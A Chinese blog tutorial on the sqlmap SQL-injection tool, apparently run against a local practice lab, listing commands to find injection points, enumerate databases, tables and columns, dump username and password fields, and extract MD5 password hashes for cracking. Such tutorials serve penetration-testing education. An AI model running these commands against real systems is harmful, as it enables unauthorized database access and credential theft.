Fork me on GitHub

Sqlmap 工具用法详解

  • Sqlmap 工具用法详解

                             
 
                sqlmap是一款自动化的sql注入工具。
 
 
1.主要功能:扫描、发现、利用给定的url的sql注入漏洞,内置许多绕过插件。
 
2.支持的数据库:mysql、oracle、sql server、access、DB2、sqlite、postgresql、Firebird、sybase、sap maxDB。
 
3.采用5种注入技术:
 
[1]基于布尔的盲注:根据返回页面判断条件真假
[2]基于时间的盲注:使用条件语句查看时间延迟语句是否执行(页面返回时间是否增加)
[3]基于报错注入:返回错误信息,或将注入语句的结果返回页面中
[4]联合查询注入:在允许使用union的情况下注入
[5]堆查询注入:同时执行多条语句注入
 
4.用法
 
1>判断是否有注入点
 
sqlmap.py  -u  http://192.168.1.xxx/sql1/less-1/?id=1
 
出现类似下图的回显,则说明有注入点
 
 
注:当注入点后的参数大于等于两个时,需要加双引号
 
sqlmap.py  -u “http://192.168.1.xxx/sql1/less-1/?id=1&uid=2 ”
 
 
 
2>判断文本中的请求是否存在注入
 
sqlmap可以从一个文本文件中获取http请求(这样的好处在于:不用设置其他参数,例如cookie、post数据等)
 
下图1.txt的内容是web数据包
 
sqlmap.py  -r  路径/1.txt
 
注:-r一般存在cookie注入时使用
 
3>查询当前用户下的所有数据库
 
小提示:首先你要先确定有注入点,才能用该命令查询用户的数据库
 
sqlmap.py  -u  http://192.168.1.xxx/sql1/less-1/?id=1 --dbs
 
下图是爆出来的数据库
 
如果还需要在爆出来的指定数据库查询数据,则需要将上一条命令中的 --dbs 缩写成 -D xxx (意思是在xxx数据库中继续查询数据)
 
 
4>获取数据库中的表名
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” -D dkeye --table
 
下图就是表名
 
注:将上一条命令中的--table缩写成-T时,表示在某表中继续查询
       若在该命令中不加-D参数来指定具体的数据库,那么sqlmap会把数据库中所有表列出
 
5>获取表中的字段名
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1  ” -D dkeye -T user_info --columns
 
 
注:在后续注入中 --columns可以缩写成-C
 
6>获取字段内容
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” -D dkeye -T user_info -C username,password --dump
 
这里获取的是dkeye数据库里的user_info表中的username和password的值
 
 
7>获取数据库的所有用户
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --users
 
8>获取数据库
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --passwords
 
 
这里我们可以看到密码是用md5加密的,我们需要去解密(小工具或者在线解码网站都可以)
 
9>获取当前网站数据库的名称
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --current  -db
 
 
10>获取当前网站数据库的用户名称
 
 
sqlmap.py  -u  “http://192.168.1.xxx/sql1/union.php?id=1 ” --current  -user
 
 
 
 
 
 
 
参考资料:

《Web安全攻防 渗透测试实战指南》

posted @ 2019-05-31 21:30  0yst3r  阅读(1576)  评论(0编辑  收藏  举报
返回顶部